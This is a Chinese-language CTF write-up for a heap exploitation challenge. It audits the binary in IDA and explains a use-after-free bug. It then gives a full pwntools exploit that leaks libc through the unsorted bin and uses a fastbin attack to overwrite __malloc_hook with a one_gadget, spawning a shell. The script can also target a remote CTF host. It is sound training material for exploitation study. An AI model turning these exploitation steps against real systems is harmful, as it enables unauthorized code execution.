解题思路
1. 查看文件信息,安全机制
2. 代码审计
3. 分析漏洞点
4. 编写EXP
基本信息
安全机制
运行
2.IDA审计
首先是梳理IDA里面的逻辑顺序 ,知道流程的调用
这是一个主函数调用其他子函数的例子,直接看F5可能是找到不到,想要的结果【调到main函数的代码段,按一下空格就会显示如上图】
3. 分析漏洞点
if ( qword_4040D8 && !strcmp(*(const char **)(qword_4040D8 + 8), &s2) )
{
*ptr = *(_DWORD *)v3 + 1;
ptr[1] = *(_DWORD *)(v3 + 4);
*((_QWORD *)ptr + 1) = *(_QWORD *)(v3 + 8); 漏洞点 这里有许多的问题,有知道的师傅可以给小编,讲解一下
*((_QWORD *)ptr + 2) = 0LL;
*(_QWORD *)(v3 + 16) = ptr;
qword_4040D8 = (__int64)ptr;
暂时当:这里是我们的漏洞点,当我们创建的两个chunk的内容大小一样的时候,就后有一个指针指向两个同一个chunk的地方
申请两个chunk,先del掉一个chunk。通过修改另一个可以修改到已经free的chunk的内容
思路流程图
脚本流程讲解
1.获取基地址
2.获取伪造chunk的地址(这里利用的劫持malloc_hook->修改为one-gadget)
3.申请chunk,触发漏洞
难点讲解:
首先是找到main_aren,可以打印泄露的main_arena -0x100(0x100随意),找到。要是发现没有将地址的最后一位高位0 ,如下图的
0x7ffff7dd1ac0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 ----> fake_size
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 ---->malloc_hook
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000405000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
先确定大小,通过修改最后一位(0-f),发现到5的时候有了0x7f(这是一个定值,一般会利用这)
|0x7ffff7dd1af5-0x7ffff7dd1b10 |= 0x1b(27)
相差27数据的填写是从chunk_size + 8(bk) 开始的,所以27-8 =19(在填充19个a就可以覆盖到mallo_hook)
EXP
#!/usr/bin/env python
#coding=utf8
from pwn import *
#context.log_level = 'debug' #显示调试的信息
context.terminal = ['gnome-terminal','-x','bash','-c'] #调试终端
local = 1 #设置是本地还是远程渗透
if local:
p = process('./pwn')
#bin = ELF('./',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p = remote('pwn2.jarvisoj.com',9882)
# bin = ELF('./',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
def add(content):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Your data:\n')
p.sendline(content)
def show(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Info index: ')
p.sendline(str(index))
def edit(index,content):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Info index: ')
p.sendline(str(index))
p.sendline(content)
def delete(index):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('Info index: ')
p.sendline(str(index))
add('a'*0x80) #index = 0
add('a'*0x80) #index = 1
delete(0)
show(1)
#-----------------------------------------
printf_got=libc.symbols['puts']
log.success('printf_got='+hex(printf_got))
unsort_addr=u64(p.recv(6).ljust(8,'\x00'))
log.success('unsort_addr='+hex(unsort_addr))
#-----------------------------------------
libc_base=unsort_addr-0x3c4b78
one_gadget=libc_base+0x4526a
fake_addr=libc_base+libc.symbols['__malloc_hook']-0x1b-8 #这里是难点
print('libc_fake='+hex(fake_addr))
#------------------------------------------
add(0x60*'b') #index= 2
add(0x60*'b') #index= 3
delete(2)
#gdb.attach(p)
payload1=p64(fake_addr).ljust(0x60,'\x00')
edit(3,payload1)
add(0x60*'c') #index= 4
payload2=0x13*'a'+p64(one_gadget)
payload2=payload2.ljust(0x60,'\x00')
add(payload2) #index= 5
p.recvuntil('> ')
p.sendline('1') #触发漏洞
p.interactive()
onegadget 一个神奇的工具 用来找libc中能一个gadget就get到shell的偏移
用法:one_gadget /lib/x86_64-linux-gnu/libc.so.6
参考文献:
**看雪:**https://bbs.pediy.com/thread-250962.htm
**安全客:**https://www.anquanke.com/post/id/177035#h3-6
csdn: https://blog.youkuaiyun.com/qq_37415423/article/details/89816638